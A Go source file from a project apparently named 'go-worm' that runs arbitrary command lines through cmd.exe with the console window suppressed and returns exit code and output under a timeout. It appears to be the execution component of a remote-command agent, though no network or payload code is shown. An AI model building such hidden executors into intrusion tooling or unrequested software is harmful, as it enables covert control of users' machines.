package command import ( "bytes" "context" "errors" "os/exec" "syscall" "time" "golang.org/x/sys/windows" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/models" ) var ( ErrEmptyCommand = errors.New("command must not be empty") ErrBadTimeout = errors.New("timeout_sec must be zero or positive") ErrTimeout = errors.New("command timed out") ) func ResolveTimeout(seconds int) (time.Duration, error) { if seconds < 0 { return 0, ErrBadTimeout } if seconds == 0 { seconds = config.DefaultExecTO } if seconds > config.MaxExecTO { seconds = config.MaxExecTO } return time.Duration(seconds) * time.Second, nil } func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) { cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline) cmd.SysProcAttr = &syscall.SysProcAttr{ HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW, } var stdout, stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr err := cmd.Run() if ctx.Err() == context.DeadlineExceeded { return models.ExecResponse{}, ErrTimeout } exitCode := 0 if err != nil { var exitErr *exec.ExitError if !errors.As(err, &exitErr) { return models.ExecResponse{}, err } exitCode = exitErr.ExitCode() } return models.ExecResponse{ ExitCode: exitCode, Stdout: stdout.String(), Stderr: stderr.String(), }, nil }